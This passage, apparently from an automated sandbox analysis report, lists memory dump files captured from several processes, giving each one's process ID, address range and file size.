                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/4016-127-0x0000000003280000-0x0000000003290000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/4432-100-0x000001D9F6E30000-0x000001D9F6E40000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/4432-104-0x00007FFA2AD20000-0x00007FFA2B7E1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/4432-98-0x00007FFA2AD20000-0x00007FFA2B7E1000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.8MB

                                                                                                                                      • memory/4432-99-0x000001D9F6E30000-0x000001D9F6E40000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/4432-97-0x000001D9F8FB0000-0x000001D9F8FD2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                      • memory/4644-49-0x0000000010000000-0x0000000011E5C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        30.4MB

                                                                                                                                      • memory/4644-105-0x00000000006F0000-0x0000000000DA5000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/4644-111-0x00000000006F0000-0x0000000000DA5000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/4644-48-0x00000000006F0000-0x0000000000DA5000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.7MB

                                                                                                                                      • memory/4708-85-0x00000000735F0000-0x0000000073DA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/4708-72-0x0000000003230000-0x0000000003240000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/4708-70-0x00000000735F0000-0x0000000073DA0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        7.7MB

                                                                                                                                      • memory/4708-71-0x0000000003230000-0x0000000003240000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        64KB

                                                                                                                                      • memory/4708-82-0x00000000041E0000-0x0000000004534000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.3MB

                                                                                                                                      • memory/4916-564-0x00000000021A0000-0x0000000003FFC000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        30.4MB